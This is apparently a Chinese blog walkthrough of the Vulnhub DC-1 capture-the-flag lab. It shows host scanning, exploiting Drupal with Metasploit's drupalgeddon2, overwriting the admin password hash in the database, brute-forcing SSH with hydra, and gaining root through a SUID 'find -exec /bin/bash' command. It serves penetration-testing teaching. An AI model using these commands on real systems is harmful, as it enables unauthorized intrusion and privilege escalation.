Vulnhub靶场 | DC系列 - DC1

https://www.vulnhub.com/series/dc,199/

环境搭建

  1. 靶机镜像下载地址:https://www.vulnhub.com/entry/dc-1,292/
  2. 需要将靶机和 kali 攻击机放在同一个局域网里;
  3. 本实验kali 的 IP 地址:192.168.10.146。

渗透测试

1. 信息收集

使用 nmap 扫描 192.168.10.0/24 网段存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

在这里插入图片描述

分析可知,靶机 ip 为 192.168.10.147

对靶机进行端口扫描

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.147

在这里插入图片描述

由结果可知,靶机开放了ssh、http和rpcbind服务。

探测对应服务的版本信息

┌──(root💀kali)-[~/桌面]
└─# nmap -sV -p22,80,111 192.168.10.147

在这里插入图片描述

web 指纹识别

┌──(root💀kali)-[~/桌面]
└─# whatweb http://192.168.10.147

在这里插入图片描述

发现该网站是 drupal[//]: # (Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。),属于 cms 系统之一。

访问网站看一看…
在这里插入图片描述

也可以使用wapp插件查看网站基本信息。
在这里插入图片描述

很明显,我们看到网站的 cms,可以直接在网上搜索这个 cms 的漏洞利用方式
在这里插入图片描述

2. 漏洞利用

使用 metasploit 对漏洞进行利用。

启动 metasploit,搜索 drupal 模块。
在这里插入图片描述

经测试可以采用exploit/unix/webapp/drupal_drupalgeddon2,即:

配置参数(payload、rhosts、lhost),开始攻击,成功建立会话。
在这里插入图片描述

查看网站目录结构,发现 flag1:
在这里插入图片描述

查看 flag1.txt内容,有一个提示信息:需要一个 config file
在这里插入图片描述

进入系统的 shell,并使用python -c "import pty; pty.spawn('/bin/bash');"获得一个交互shell。
在这里插入图片描述

根据上面flag1.txt的提示,在网站目录中寻找相应的配置文件(当然没有提示,也应该寻找看一下,毕竟是敏感文件)。
在这里插入图片描述

内容如下:发现flag2、数据库名、用户名、密码
在这里插入图片描述

flag2提示:“暴力和字典攻击不是获得访问权限的唯一方法(你将需要访问权限)。你能用这些证书做什么?”

使用获取的数据库用户名和密码登录数据库:
在这里插入图片描述

发现该用户只能管理drupaldb数据库。进入数据库,查看库中的表
在这里插入图片描述

发现有个users表
在这里插入图片描述

查看 users 表中的内容:由于列数比较多,查看内容比较乱,可以使用select * from users\G;查看
在这里插入图片描述

或者:先看看表结构
在这里插入图片描述

查看name和pass列
在这里插入图片描述

该密码不是普通的加密,有可能是网站自己的加密方式。尝试搜索一下相关文件~
在这里插入图片描述

搜索到了一个./scripts/password-hash.sh看似与密码有关。查看文件内容,得知为php脚本,作用是生成一个hash密码。
在这里插入图片描述

使用该脚本生成一个简单的密码,比如123456。将数据库中的密码覆盖掉~

www-data@DC-1:/var/www$ php  ./scripts/password-hash.sh  123456

在这里插入图片描述

覆盖 admin 的密码:

mysql> update users set pass="$S$D3JWVJTOOlXIz0t1Nf.8eg5MrBOqhCVsn.z7m/P4wf4H.OoLYlAf" where name="admin";

在这里插入图片描述

登录网站:
在这里插入图片描述

登录成功。
在这里插入图片描述

在 Dashboard 中发现 flag3 给的提示:

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

特殊的PERMS将有助于找到passwd-但您需要执行该命令以确定如何获取shadow中的内容。

在这里插入图片描述

查看 /etc/passwd 文件。
在这里插入图片描述

发现 flag4,flag4是一个普通用户。

尝试查看flag4用户的家目录,确实存在flag4.txt文件,
在这里插入图片描述

提示信息为:在root里?

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

当然如果没有权限访问/home/flag4/flag4.txt,则需要登录flag4用户。由于该服务器也开放了 22 端口,我们可以使用hydra工具爆破flag4用户的密码:

┌──(root💀kali)-[~/桌面]
└─# hydra -l flag4 -P /usr/share/john/password.lst 192.168.10.147 ssh

在这里插入图片描述

爆破结果:密码为orange。

使用 ssh 连接,发现最后一个 flag 的提示信息:in root。

进入 root 目录,发现权限不够,需要提权

在这里插入图片描述

3. 提权

首先想到使用 suid 提权找到一个属于 root 的有 s 权限的文件。

  • SUID(Set User ID),SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。

常见的可用于 SUID 提权的文件有:

find、bash、nmap、vim、more、less、nano、cp 
//当没有s权限时可以使用:chmod u+s 命令路径,增加权限

查找哪些命令具备 SUID 标识

相关命令:

find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

使用find命令进行提权:

利用 find 命令随便查找一个正确的文件(夹)路径,后面加上 -exec shell 命令 \;

提权 /bin/bash 或者 /bin/sh

www-data@DC-1:/var/www$ find cron.php -exec "/bin/bash" \;
find cron.php -exec "/bin/bash" \;
bash-4.2$ find cron.php -exec "/bin/sh" \;  
find cron.php -exec "/bin/sh" \;
# whoami
whoami
root
# 

在这里插入图片描述

成功提权!拿到最后一个 falg!
在这里插入图片描述

Reference:DC-1

  • 26
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
资源包主要包含以下内容: ASP项目源码:每个资源包中都包含完整的ASP项目源码,这些源码采用了经典的ASP技术开发,结构清晰、注释详细,帮助用户轻松理解整个项目的逻辑和实现方式。通过这些源码,用户可以学习到ASP的基本语法、服务器端脚本编写方法、数据库操作、用户权限管理等关键技术。 数据库设计文件:为了方便用户更好地理解系统的后台逻辑,每个项目中都附带了完整的数据库设计文件。这些文件通常包括数据库结构图、数据表设计文档,以及示例数据SQL脚本。用户可以通过这些文件快速搭建项目所需的数据库环境,并了解各个数据表之间的关系和作用。 详细的开发文档:每个资源包都附有详细的开发文档,文档内容包括项目背景介绍、功能模块说明、系统流程图、用户界面设计以及关键代码解析等。这些文档为用户提供了深入的学习材料,使得即便是从零开始的开发者也能逐步掌握项目开发的全过程。 项目演示与使用指南:为帮助用户更好地理解和使用这些ASP项目,每个资源包中都包含项目的演示文件和使用指南。演示文件通常以视频或图文形式展示项目的主要功能和操作流程,使用指南则详细说明了如何配置开发环境、部署项目以及常见问题的解决方法。 毕业设计参考:对于正在准备毕业设计的学生来说,这些资源包是绝佳的参考材料。每个项目不仅功能完善、结构清晰,还符合常见的毕业设计要求和标准。通过这些项目,学生可以学习到如何从零开始构建一个完整的Web系统,并积累丰富的项目经验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值